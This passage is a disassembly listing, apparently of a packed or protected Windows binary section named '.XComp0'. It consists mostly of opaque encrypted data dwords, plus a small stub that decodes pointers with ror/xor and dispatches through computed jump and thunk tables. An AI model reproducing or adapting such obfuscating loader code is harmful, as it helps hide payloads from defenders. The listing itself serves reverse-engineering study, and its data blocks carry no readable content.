1539B9C1h dd 0F167F8E6h, 41B45377h, 7F78A168h, 7029AC5Bh, 0FA851DEh dd 95B85EADh, 239E417Eh, 0A644A8C7h, 0E7FDC8A0h, 41884129h dd 73CE859Bh, 968595E8h, 1151229h, 72A7F365h, 975D32E1h dd 78E7B2Fh, 964EBF20h, 0E7F8E2Fh, 0A32C0F85h, 0A06F4F70h dd 77A44A2Dh, 882FA1DCh, 0A8611ED6h, 8AD8AF25h, 1F9861D4h dd 40BF4FBEh, 58B51A12h, 719C41A4h, 7A892FC8h, 0C0C10592h dd 3FCFE4D7h, 0BB18C1A6h, 0BF36FB12h, 3BAE261Bh, 66B6A78h dd 0AAB847E7h, 36CDFB04h, 0A544EABFh, 0DF269348h, 4BF63BEEh dd 261465F6h, 9491D688h, 0B00DB882h, 0B21BA45Dh, 6F7F5A5Bh dd 0A34CB376h, 5C84636Ah, 17D87EB3h, 15h, 0B1629762h, 0D68825C8h dd 0C2BB5845h, 3FD68825h, 0F86AC42h, 0AC658C39h, 6CA13E29h dd 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h dd 788B2D3Ah, 0C14E7275h, 89531BCCh, 4C381E3h, 83000000h dd 0FF5304EBh, 5B042474h, 5C24048Fh, 81E78957h, 4C7h, 4EF8300h dd 5C243C87h, 68243489h, 4841h, 53241489h, 0D7B1BBh, 0D8895006h dd 5B58C689h, 4EC81h, 24890000h dd 24048324h, 81565A04h, 478C2404h, 428F2DC8h, 8CBD5508h dd 292DC847h, 8B5D086Ah, 89532414h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 2434FF5Ch, 4C4835Eh, 0F89F25E9h, 0D8D231FFh dd 0DF65B8D9h, 0C5030600h, 0D0D6E0FFh, 26DD19E0h, 8D3D5D16h dd 64B46B56h, 0F92C1BAFh, 0F4C93CBAh, 17E35841h, 9795168Dh dd 34EC5269h, 8FF21D43h, 965925A5h, 72D6480Eh, 0CC373149h dd 0EB9517E8h, 0B06816C9h, 1869601Bh, 9E4A72E5h, 0F225463Eh dd 1A9275ADh, 0F25D2FAAh, 407061CCh, 3BB25508h, 828D2C73h dd 0A2622A6Ch, 0D8C73DCBh, 0A7896B05h, 0B88C5C39h, 366B184Dh dd 0D54F5C91h, 0BF794C7Eh, 1A1E4424h, 6DBE5D23h, 5FE907BCh dd 52000001h, 0E860D48Bh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 600E083h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5E97BD mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 4526D628h xor eax, ebx sub eax, 4 mov [ebp+5F90CDDh], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0F3C05C9Fh xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+5F926C1h], eax mov eax, [edx+14h] mov [ebp+5F900FDh], eax mov eax, [edx+18h] push ebx jmp loc_5E9781 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F903D1h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F93465h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F91FA1h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F91799h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F90FD9h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F9159Dh] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F932E9h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F92409h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F90751h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F916DDh] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F91771h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F913ADh] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F913D9h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F91091h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F92A69h] jmp loc_5E9795 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F9275Dh] jmp loc_5E9795 ; --------------------------------------------------------------------------- loc_5E9781: ; CODE XREF: .XComp0:005E96CCj mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+600E0E4h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5E9795: ; CODE XREF: .XComp0:005E96D7j ; .XComp0:005E96E2j ... call dword ptr [ebp+5F920D5h] pop ebx loc_5E979C: ; CODE XREF: .XComp0:005E97B5j mov eax, [ebp+5F90CDDh] cmp [eax+4], ebx jnz loc_5E97BA push ebx push 1 call dword ptr [ebp+5F91AEDh] pop ebx jmp loc_5E979C ; --------------------------------------------------------------------------- loc_5E97BA: ; CODE XREF: .XComp0:005E97A5j popa pop edx retn ; --------------------------------------------------------------------------- loc_5E97BD: ; CODE XREF: .XComp0:005E967Fj popa pop edx mov eax, 7E41A8ADh jmp eax ; --------------------------------------------------------------------------- mov eax, [ebp+5F90DCDh] lea ecx, [ebp+600E1D2h] mov [ecx+1], eax mov eax, ebx jmp loc_5E989C ; --------------------------------------------------------------------------- inc esi mov gs, [edx+459CD752h] retf 0C8C3h ; --------------------------------------------------------------------------- dw 0B6E1h dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h dd 47000000h, 0E3129D74h, 5E99E0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5E989C: ; CODE XREF: .XComp0:005E97D7j jmp loc_5EB690 ; --------------------------------------------------------------------------- push 600E4F5h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600E67Eh jmp loc_5734FA ; --------------------------------------------------------------------------- push 600E7E5h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600E9ABh jmp loc_5734FA ; --------------------------------------------------------------------------- push 600EA59h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600EB4Dh jmp loc_5734FA ; --------------------------------------------------------------------------- push 600EC71h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600ED86h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600EE71h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600F06Ah jmp loc_5734FA ; --------------------------------------------------------------------------- push 600F1A7h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600F378h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600F4DBh jmp loc_5734FA ; --------------------------------------------------------------------------- push 600F6E2h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600F8DCh jmp loc_5734FA ; --------------------------------------------------------------------------- push 600FB72h jmp loc_5734FA ; --------------------------------------------------------------------------- push 600FCEEh jmp loc_5734FA ; --------------------------------------------------------------------------- db 2Eh dd 1FC67E93h, 49AC50BFh, 15C0649Fh, 4CAB51B4h, 5FB567A0h dd 0B2557522h, 8A816B8Ah, 0C1487352h, 0FA13BC1Bh, 3CD7A042h dd 2395A241h, 6C6009BEh, 0D17FC1B2h, 85BB5BB1h, 6FAA638Ch dd 31A46588h, 6C0DD678h, 7F589268h, 36D8D84Ch, 45F716B7h dd 1AF1DBE4h, 3430C693h, 78C178A2h, 0D8E792C1h, 9A642995h dd 0BB47558Eh, 0E608C13Ch, 8F7EDF63h, 0E0D5D22Fh, 9D1B4633h dd 0A31C2523h, 0BF3ED037h, 3339B393h, 31FE48D6h, 48000000h dd 95E873CEh, 12299685h, 0F3650115h, 49E172A7h, 9F2F8F98h dd 5C51B218h, 9491698Dh, 73037221h, 2BE2239Dh, 4E95473Fh dd 4E5248D6h, 0B4000001h, 5778638Ch, 6D7A7BB6h, 787FBA4Dh dd 6742B354h, 645B1EC7h, 7483937Ch, 2ECBC24Bh, 853548D3h dd 0F5B22996h, 0E02D9261h, 0CC0D339h, 7D45B77Fh, 96159BDEh dd 0A66B1829h, 8B81A690h, 0C517E9D8h, 4CFF0F34h, 29961A17h dd 48F11CC1h, 5BFB0AAFh, 38D438E1h, 90750168h, 0E1FF048Eh dd 0A7625806h, 86876887h, 6D4D6A0Fh, 7EE8749Ah, 1744FD24h dd 29960766h, 231026E3h, 8F306AF8h, 7D5F582Fh, 0DEFC7D9Eh dd 8C79239Ch, 3F49B145h, 0A14C4826h, 60B46568h, 9158160Eh dd 0A06F4F68h, 60DA7C2Dh, 0FD247EE8h, 99299B5Eh, 816C5329h dd 748E6688h, 545309A6h, 20D910A9h, 35E63597h, 1DA0A944h dd 880DC4C1h, 7F03DD1h, 0D50024E3h, 0E5C112F5h, 0A1BFD6C3h dd 1AE6A590h, 38970000h, 1CC423D9h, 44A651F3h, 11BA1DBFh dd 45A550F4h, 89081AC2h, 3FE522CAh, 2FD53698h, 40E425C8h dd 2FD53895h, 1667F4C5h, 932395A1h, 608C1ADEh, 30C772A7h dd 0A2777E8Fh, 9685E891h, 0E09B6529h, 5E92EFDCh, 55DF6FBAh dd 914E60B4h, 50CAC7FBh, 2384F1E5h, 0EB16DB4Eh, 960E4D30h dd 39DDCA29h, 37DB15BAh, 8F552012h, 83A45891h, 96B8517Ch dd 0F046CEA0h, 3C9F6D17h, 4FD985A9h, 0EE13EE13h, 95EC4C2Dh dd 3ADCC929h, 8EFF1717h, 9743322Fh, 33AC7D70h, 0A2777E85h dd 555AB267h, 0CEEA003Bh, 20C92234h, 0F240B7ACh, 0CF5F7CC3h dd 9D5CFD7Ch, 2531DC23h, 0BB506E89h, 3ACF5F3Ah, 48D674A6h dd 1225Fh, 0B815A200h, 0CE7BC155h, 0E7F8A31h, 933CBB5Bh dd 4874737Ah, 0D3DA2D8Dh, 1FCACB06h, 36AA8ADh, 0ECD3AF29h dd 68EB0B04h, 299663FBh, 1CEDD0E7h, 9D2FBFAh, 39EB26E1h dd 0D9DC318Eh, 568BD741h, 0B23A537Eh, 84AA87F0h, 197A52A7h dd 4566F495h, 0B7AB9EB0h, 0A52F8F2Eh, 0D13AB41Ah, 0C1A4BC85h dd 1BCEBF0Ah, 0EBD403FBh, 33FEAB22h, 42D12811h, 239D8137h dd 0F7FE11ADh, 0D8BFBC22h, 640016F7h, 0E271A8F2h, 29997206h dd 50CDECE0h, 6667A647h, 4FC361B3h, 8481799Dh, 0CB30A45Dh dd 0D5F3D69Ch, 6EBCEF42h, 0B07983D1h, 9C6B4F9Eh, 93705A65h dd 8DA74722h, 3685826Ah, 0BFD70D06h, 5D10151Eh, 0E000019h dd 3FA65EB3h, 29CC709Fh, 35A044BFh, 2CCB7194h, 7F9547C0h dd 92755502h, 0AA618B6Ah, 0A1685372h, 9A735C7Bh, 9CB78062h dd 23959FE1h, 0CE47E95Eh, 6E808B31h, 0E68F5B7Fh, 997401DEh dd 43BC65ACh, 0B2676E95h, 99B1CC87h, 712E2995h, 4B7453DDh dd 3CA017C2h, 0FF0FCACBh, 0FFEBD435h, 8C50E608h, 8623AA63h dd 35B85379h, 0DB9EBD64h, 58299685h, 836C8BABh, 967D4F8Ah dd 8B7C604Dh, 17D4F0Ah, 2D0727F5h, 3EE320CAh, 5FEF1AC1h dd 0FD1EE386h, 2995E57Ch, 0BEA0CF9h, 33F92BE2h, 587C5074h dd 6109B156h, 0A5332FBFh, 8D3BC47Dh, 0AE53E076h, 0AE6DA811h dd 299661CBh, 80965B48h, 8F7A41CDh, 5CF7942Fh, 239D4921h dd 0F128E19Eh, 9381441Bh, 0EE25FE9Ah, 0DAE2CA6Ch, 26A74352h dd 238E7BC0h, 42F748EEh, 80F7F5CAh, 0ED01FA25h, 271B1C5Ah dd 459D0B1Bh, 0BD6F659Ch, 3E9D6A90h, 8AEA1B5h, 0B320C69h dd 0FFF1E31Eh, 877A2C39h, 29E78054h, 3C838622h, 0A428D11Ah dd 88D861C9h, 3C28CE5Fh, 6CA13EAAh, 0CDC04773h, 932CD51Ch dd 3DECE128h, 8AFF1C19h, 0EF2C1745h, 0E52CDD00h, 0F31AC33Ch dd 1568F34Eh, 0A0201DBBh, 0AFBB810Eh, 0E4A105B2h, 0E0FDE852h dd 0BF36CDFBh, 3AD41FEAh, 0EEBD5BEDh, 17F6E0C5h, 48A70000h dd 0CB413C9h, 0D4F6E103h, 1EA0D2Fh, 0D5F5E004h, 0F9380A32h dd 4FF512BAh, 1FC546A8h, 50F415B8h, 1FC548A5h, 265704B5h dd 0A323959Eh, 73CE8A2Eh, 968595E8h, 0F5E31229h, 0C433C30Eh dd 0B047F21Bh, 2B4E0D0Eh, 0A8299685h, 0C72036FBh, 649DC553h dd 0C6B7649Dh, 43299685h, 0AD9DB046h, 882F8F9Ah, 7359669Bh dd 0B2441598h, 1C46D088h, 762C36E5h, 2AD72996h, 0D3F906A3h dd 46331638h, 251DA46Ah, 0C532FCEAh, 0BE53E326h, 46DD4622h dd 26E905F2h, 561410h, 0FFEE0000h, 31083169h, 21C319DBh dd 92474EB9h, 0F65CBC3Ah, 5C70ED60h, 78252F8Fh, 829736C1h dd 9CBEA8D1h, 48BD1E23h, 85329445h, 9CBEA3D6h, 0AE632023h dd 0D883BE63h, 239CBEA5h, 67D16522h, 9CBE9FDCh, 59B41923h dd 53B217A0h, 6F4E79C3h, 912139Ah, 6E000017h, 0DAFF69FFh dd 1CBDAA2Bh, 0FC35E4E9h, 0B1080C35h, 0D472209Ch, 0E491886Ch dd 29D97D40h, 28D12805h, 95C992EBh, 24E50829h, 1E31C5C2h dd 2F96ABF5h, 0EBDA9379h, 0B61EEFD0h, 52BAF8E0h, 0A101A35h dd 9A62F4C0h, 1B264ED0h, 17D2B71Ah, 0F2B517E2h, 0D3359112h dd 0B34D30CBh, 0DDCA2394h, 0DA03FC39h, 9E61133h, 0CFE89104h dd 0C2971EEDh, 7CA6302Ch, 95D296C5h, 55AC2995h, 7586836Ah dd 1D93D204h, 8A728481h, 0C4814580h, 63AEA4C8h, 537C83BEh dd 874E4C9Dh, 36FB9701h, 0E6E722C9h, 0EBD42333h, 0F2DBFA22h dd 0F5D9E61Bh, 7FEBF41Ah, 6F88B1E9h, 4759BB4Ah, 0E75DF4F6h dd 7B9895B9h, 238CD023h, 1AC11E99h, 189D54B1h, 5845AD41h dd 0DF16CD7Bh, 41244DA5h, 1630h, 0F113FEE1h, 0FF25EA06h dd 0EB11F2D8h, 0FE26DF0Ch, 0F014F3D7h, 3CA0DF52h, 10AE19CBh dd 3F9E49FBh, 0AB312CAh, 46F3E103h, 959C6415h, 0CC6CE123h dd 968591E8h, 88665129h, 61F77383h, 21530039h, 0EB2F9767h dd 981DE6D4h, 0BBC52DC1h, 0CF8C0E30h, 2395CEAEh, 6F967E2Bh dd 86896B68h, 1F2855C4h, 0F940F930h, 0AA2BE0FEh, 2F905FEFh dd 1EBF26DEh, 9FC24AEFh, 0DF63BEC5h, 7336AF3Fh, 5279648Ch dd 0AE6336B7h, 104ADC88h, 4202AE9h, 0C936298Fh, 203BE621h dd 1D9CDA5Dh, 0F1092DDAh, 0A92CD902h, 14DA39F0h, 0E0BFDAB5h dd 1582E6CFh, 8C330000h, 58785F85h, 786285B7h, 4D6E598Bh dd 796184B8h, 45BC568Eh, 0AB51B616h, 0B369A24Ch, 0BC60A914h dd 0A359B419h, 0A2DB7841h, 1F23959Bh, 638C06AAh, 7CB55678h dd 0CA89B079h, 299685AFh, 10DF6F2Ch, 0D55641AFh, 97380135h dd 864BBC20h, 15C8280Fh, 8C5D50B3h, 81675045h, 0A5A20B82h dd 0FE23E5B9h, 7651843h, 0EDDB2996h, 18C1B016h, 0F31224EDh dd 274D1FE7h, 9E194D2Fh, 0FCACB40h, 0CAE23FFh, 1FE0000h dd 0F2A72ED9h, 69FFD65Ch, 0E42DDCFFh, 0C23D043Dh, 2BFEEF1Ch dd 96856D10h, 193DEA29h, 97674736h, 0DC00F72Fh, 5FEFAA2Bh dd 0BF12B897h, 0B025EC1Bh, 0EE0930F9h, 6E0F4CD1h, 0E42395A3h dd 0F1AE10F9h, 0FCE10438h, 82F79C11h, 732395A3h, 44A8A0E5h dd 2A67BE21h, 31193ADFh, 0C298F8Ch, 870E01DDh, 20BC17D2h dd 0D8BFDA3Dh, 148ECED7h, 0A03F0000h, 0C42CCB71h, 8C2E994Bh dd 0B922C577h, 8D2D984Ch dd 3170C27Ah, 77AD5A82h, 679D6E50h, 78AC5D80h, 679D704Dh dd 0DE9FBC7Dh, 5B23959Ah, 638C52F6h, 239D6FAAh, 4B1EB060h dd 5A5D86A8h, 84896675h, 5558AF1Bh, 5F484D84h, 9974597Ah dd 98C4514h, 4647BC1Eh, 7F5F8B82h, 0BA1F9841h, 0A26B544Bh dd 0A5616D8Ch, 4D2F62CBh, 0BCF8Ch, 4FAA4F00h, 9642B9C4h dd 0AA493629h, 299642CFh, 79BF4F4Ch, 968591E8h, 6BA85129h dd 29968612h, 0E07C928Fh, 1FF52C76h, 0A1734854h, 5EDB7B67h dd 0F5765EA3h, 0C7E5006Ch, 0C7C7B241h, 25442995h, 688E43C6h dd 96A9D8E5h, 0CAEF082Fh, 4FDFBA3Bh, 50B2DDA7h, 291685A1h dd 944548C3h, 946D945Dh, 0A549C02Bh, 0E774A946h, 23952696h dd 26DB1613h, 0D4D93499h, 0E247F105h, 2681FC17h, 1FE2395h dd 0FE1FEEDh, 6A6E5081h, 820CE097h, 2CE26F0Dh, 927A9F6Ah dd 41D5E6E8h, 0EEF71762h, 607EEA7Ch, 0A0BB66ABh, 298E57AEh dd 0AF3F9C89h, 6BBFD946h, 136A5B4Ah, 0B41B0000h, 0A040A75Dh dd 0C02ACD6Fh, 9536A143h, 0C129CC70h, 0D849E46h, 63996E4Eh dd 8BB15A84h, 5488816Ch, 1BC14C71h, 2A5300B9h, 0A7239599h dd 638C7E42h, 89CA6FAAh, 299685F0h, 459EB06Dh, 69907D62h dd 1B510C63h, 61F547FFh, 0E1EDC888h, 2FD44B25h, 1AB91B4Dh dd 8F9959A4h, 5F8446A2h, 854CFA20h, 0AB2B571h, 6F880000h dd 9E94BA49h, 0A8CB46CEh, 9E79748Ah, 207AEC78h, 5AF940F9h dd 2995991Fh, 2954DF9Ch, 0A6299599h, 21D855F9h, 0D43996h dd 606E3E93h, 144EAF4h, 2F96A6D1h, 0AFBE0D7h, 0F41F0CE4h dd 2394E289h, 29D01906h, 0D8DD328Eh, 0B740ED01h, 0CA42F716h dd 15BADDA6h, 2B714F8h, 851C5802h, 0F93050C8h, 0B2BE0FEh dd 0E429C631h, 62F148F1h, 23950017h, 447E794h, 23950075h dd 0E320CA35h, 59811753h, 617359A0h, 593F9EB3h, 5EE749ABh dd 0A7C96F74h, 0FE8AC487h, 9B65298Dh, 5158A97Fh, 0E734FD6Bh dd 0BFD905F9h, 55FDE809h, 6000012h, 0D7FE26EBh, 1E418F7h dd 0CDF82CD7h, 4E319ECh, 370D2FD8h, 0EA1DBDFAh, 0E2299332h dd 0D9309B3Ah, 0F21BC423h, 44CFA84Ah, 23959839h, 8C6F11B6h dd 0E099BA63h, 5D299685h, 836469A0h, 718EB35Ah, 32ECC04Bh dd 7247FF28h, 0F0B039DDh, 0FA0BB047h, 0F5B9A554h, 226E0F4Ch dd 3EEB2996h, 5FEF1AC1h, 2F3A36AAh, 99AEF4Dh, 0E8390000h dd 29968596h, 607DEB7Dh, 0B87128ADh, 5854B881h, 0C3ACE1B6h dd 4AFA2B4h, 152F96A6h, 0CB88B168h, 2394E1B2h, 4FDC722Fh dd 0B9C44FAAh, 362394E1h, 0A946A549h, 2B818E32h, 0A06E4F41h dd 0BD5FAAB5h, 2D3BB51Ah, 927555A8h, 7EA4343Ah, 807742B3h dd 0BA517B5Eh, 1583DF6Fh, 2EED14CDh, 2395644Bh, 0FE3BDBC8h dd 8E88615Dh, 0E08A5429h, 4B60D31h, 0DE3C9752h, 0BABFD9AEh dd 116AACB9h, 0B41B0000h, 0A040A75Dh, 0C02ACD6Fh, 9536A143h dd 0C129CC70h, 0D849E46h, 63996E4Eh, 8BB15A84h, 5488816Ch dd 1BC14C71h, 2A5300B9h, 0A7239597h, 73CE7E42h, 968595E8h dd 0EC151229h, 96854E2Fh, 38DECB29h, 30914B9h, 1A1788C8h dd 4831C2C4h, 0C5299684h, 0CFE811D8h, 3AA21DECh, 0FD11C8CDh dd 33DA03E4h, 40CBF10Eh, 717A9C4Dh, 11B946F3h, 0B5A160F6h dd 42F716B7h, 84215CF7h, 0E19E2996h, 1D31D6F6h, 5C12CE13h dd 0EAE24D2Fh, 0EC4B0CE2h, 9A86A85Bh, 1E8h, 0AA638C6Ch dd 8E2DCA6Fh, 859DE07Bh, 6D1A2996h, 0A05920C9h, 96860A73h dd 5F9A8729h, 9685C9B4h, 0B5594629h, 8D579936h, 0A549AA1Bh dd 68914881h, 9595D2ABh, 0BC524F29h, 0A50C672h, 0C6FE44CFh dd 932C2F8Eh, 0A74FDF26h, 59FA3FFAh, 239C6320h, 954EE09Dh dd 9C6387EEh, 0B39F6623h, 0D57B19D3h, 4CDE48h, 0CE280000h dd 8595E873h, 15122996h, 75F36501h, 0C47DB457h, 8F989797h dd 4CF5B22Fh, 0B9E2A0C8h, 45E9E1AFh, 282F79Ch, 0D861239Dh dd 0D7512AF4h, 9BBB50A1h, 0D4887E6Ch, 9148D648h, 10Ch dd 0F386956Ch, 70239D64h, 65AC5781h, 638C6BD1h, 36B75878h dd 8227AE63h, 42B35675h, 0C428C767h, 88655243h, 2BA26953h dd 718EB37Eh, 4F98BE49h, 6C548768h, 61B36EA3h, 0F009053Ah dd 4CE6088Bh, 0F0EBD4EBh, 8EF3ACBh, 0F7B223E4h, 887FF457h dd 0B44B2996h, 0DE8B020Bh, 0C714B938h, 38F1E423h, 30275201h dd 0F7A42996h, 0CEF00732h, 0F6E1B83Dh, 0ECBD30D5h, 0EE78F04Ah dd 98CE8DB4h, 3B2F9221h, 0C42C934Eh, 0B38EAB4Bh, 3FACCD8Eh dd 7C29239Ah, 0A7C20A98h, 688E4326h, 4B746189h, 0D31ECBC2h dd 0DC27912Eh, 1BF0CED9h, 0CFF640D6h, 300EAEBh, 0C112D792h dd 0B1DF9C43h, 712B3A3Bh, 2200000Fh, 4BAA52BFh, 0DB86CA3h dd 41A458ABh, 10B76D98h, 8BA95BACh, 86816916h, 0B655775Eh dd 8584678Eh, 0B657785Fh, 8893648Eh, 239595F5h, 8C3BFD72h dd 9475A760h, 4449C02Bh, 4D728195h, 853A43D0h, 0CAB72996h dd 0C33CDDFFh, 0F248EE15h, 95E873CEh, 12299685h, 0CDF20115h dd 13AC4D40h, 0BC6D60A7h, 9B725B9Ah, 96715966h, 6651B680h dd 2C0B8287h, 6F7F4AC3h, 6A77Eh, 0D586BB00h, 299685A4h dd 6CD26421h, 83169FFh, 8FA41B4Bh, 0B8BCC62Fh, 77F9D1E5h dd 0B0535A8Fh, 239D37C9h, 0A96A8FA8h, 239D37D0h, 3FBE504Dh dd 13B93313h, 0C57E48D6h, 0C8000002h, 6ABD46CEh, 0BF7C398h dd 0D7C4BCA9h, 42D45788h, 9648710Fh, 98C25429h, 2B03B261h dd 0E9082F97h, 14CD04FFh, 0FB408EC0h, 2A88CC8Fh, 0B8DFA7FBh dd 3DFA1CD5h, 5B1E3D04h, 0D82394D9h, 0FB36D1F9h, 0DA339C5Bh dd 1F3C0522h, 2394D95Eh, 0E9082EDBh, 16840904h, 829D3D80h dd 3F02D3F6h, 69AA4F8Ah, 2394C310h, 0B17E908Dh, 8DE71CA2h dd 0F1220F29h, 1D9B9E88h, 0A627DCFEh, 0DB1613F3h, 0D9F83600h dd 847182BFh, 0E34h, 0D5070AE5h, 9B41CEF2h, 0CF758E3Ch dd 9A42C328h, 0C4788F3Bh, 5884336Eh, 846A8DAFh, 4B725587h dd 7E5F86BEh, 0B2876D8Fh, 9594D8A1h, 50F05523h, 508D638Ch dd 0FCD29BF3h, 0A22ACF1Ah, 0E2C052E5h, 519ABC43h, 5DAC0FA8h dd 7E6D8158h, 8A75AC61h, 0F950A461h, 0E6F968EEh, 4CC82135h dd 5E7F6D79h, 0E8848DAFh, 0BC4D2FB3h, 0DF6F9643h, 1CB43h dd 0B8639E00h, 29958BC5h, 8BB14542h, 95E873CEh, 4D299685h dd 96856B0Eh, 0CB3BE829h, 14B938DEh, 0F1E423C7h, 0C448F138h dd 360AE64Fh, 0F7E3DCDCh, 44E5FE10h, 19FB12BBh, 7ACBF9F0h dd 0EDFC12A2h, 53073DD0h, 5B649DC5h, 0BD7A9C73h, 2ACD9084h dd 0B2AA0A1Ch, 0DD8C010Eh, 0F34F0214h, 0E62F8EDBh, 3B8A8E1Ch dd 6DA4EA08h, 6BA24BB4h, 47122CBh, 0E3239BAAh, 87703E2Ch dd 9139A665h, 84AA7F76h, 0D585ED7Fh, 53AA48h, 9F750000h dd 4FE394E4h, 0DB61F5BFh, 83169FFh, 0E52AC631h, 321539F0h dd 2F8F97F8h, 11FAE413h, 3AB21D8h, 0EE72AC9Bh, 8D44C12Ah dd 0A6D38069h, 24239CFEh, 595E4FB8h, 858A6673h, 0FCCB494Ch dd 0F2830EEh, 32C445A8h, 2DBF87D3h, 0EA48D6DAh, 0D1h, 0AA638C3Ch dd 6F984423h, 0B954797Eh, 9F3EB980h, 0A5B6636Ah, 299685D4h dd 29C25451h, 0B56CA13Eh, 6F66A34Ah, 32A36488h, 929CB277h dd 96D8F48Fh, 0B117A029h, 688E5B52h, 73A96489h, 0D00951C7h dd 0E36926FCh, 0B85E00E6h, 0C18AE07Bh, 91682F91h, 99DFF782h dd 67877423h, 0DE53758Fh, 0C61200B0h, 0E9D60Bh, 0BB44F105h dd 0E227C60Fh dd 0EAD2F527h, 28BEE2Dh, 1B08239Ah, 9C3305D6h, 6253B1DFh dd 0C6353h, 64AD1400h, 56B915C0h, 62A147AEh, 57AE1BBAh dd 6D9A42A5h, 77245DB7h, 6590B453h, 75608487h, 6691B356h dd 72608489h, 92E396C5h, 0EB602395h, 8C31CE4Dh, 5E7E6D81h dd 3E9673A9h, 339A35D6h, 0A20ADFD6h, 20361B8Ch, 0FB21ECD1h dd 8731CE25h, 8EA0797Ch, 1E8F7E5Fh, 0A059B419h, 0C353B217h dd 3AE4C79h, 12AD0000h, 85BB5BA8h, 83169FFh, 0D23AC9EFh dd 0B6462D9h, 16233321h, 96E40A05h, 0B06B962Fh, 23951ECDh dd 7B625D4Ah, 6190688Eh, 871A27Dh, 8523951Fh, 8D5C5198h dd 0FA85144h, 7F5A5BAAh, 1E9DDC6Fh, 0B21B2395h, 6C4D5A5Bh dd 0CDA81499h, 0CC43DD81h, 2E7D09Eh, 49A59203h, 26EB0BC6h dd 4B2E3A4Ah, 3110Bh, 0F02BD600h, 2395128Dh, 0D6B71D0Ah dd 0DC88A153h, 0CE68CE60h, 787D8831h, 85D7A2B1h, 0A7542996h dd 379CC62h, 0E6299686h, 37D8F870h, 0F32EE3B6h, 0FD08B14Eh dd 3A0D21F8h, 2F9767CDh, 0F05A6369h, 39E93FC5h, 0CCEEDD15h dd 0F247F237h, 99710C47h, 31EE2395h, 1CF1CE1Dh, 2DE0FDE8h dd 4CA432A8h, 7BA66BA4h, 29AD8A99h, 6B8BB925h, 92A173CEh dd 55AE1CA4h, 8BC3A17Fh, 0C7DAE86Bh, 0EF08298Eh, 9C4D40CFh dd 6553827Ah, 8742179Eh, 0D919F62Ch, 0A491A2BFh, 0B00h dd 0E1030EB1h, 0F35DAF6h, 0DB0102E8h, 0E36CFFCh, 0E00403E7h dd 2C90CF42h, 20BE29DBh, 2F8E39EBh, 1AC322DAh, 0D6A351F3h dd 95913445h, 7C3CB123h, 7D8831CEh, 68B51AD9h, 9685D2ABh dd 0B1624F29h, 299685C8h, 58915845h, 0E3409455h, 41C79E2Eh dd 0FBE41323h, 23A6D8F5h, 5EB64A0Eh, 5E11C434h, 0BA5FAA22h dd 65689B3Dh, 0CB49A2B4h, 0E1FEEEFCh, 75E7F82Ch, 414D2FDEh dd 0AA1914F8h, 0B5D5F9A8h, 95F5D3A6h, 0C3535029h, 1ED67h dd 2452BA00h, 2F042120h, 0C4C946AAh, 43ADC15h, 23AA638Ch dd 0CA729B44h, 3CA0089Eh, 0D3F2CACBh, 87E32CCh, 0FD24ED24h dd 80FBB44h, 95C8324Bh, 37F2AF29h, 53E3B6h, 2F8EFA42h dd 51B61635h, 51448D5Ch, 9C96B3C2h, 6F7B9223h, 0D6B6C597h dd 498248h, 0CE640000h, 5FADF646h, 6A8C5EE0h, 73268FEh dd 8F50E24Ch, 310FD2Fh, 239D2B7Ah, 0CEBF0AF7h, 9D2B3045h dd 0FA0FAE23h, 41CAF4F3h, 0E1EDD84Ch, 0A11E233Dh, 0D72E9B38h dd 0C7CE03D6h, 0D1FDFC12h, 0D6077BF5h, 12A3C48h, 8C060000h dd 0CA6FAA63h, 9685F089h, 9EB06D29h, 0BE5DA445h, 299685BBh dd 4CAB4B38h, 816667A0h, 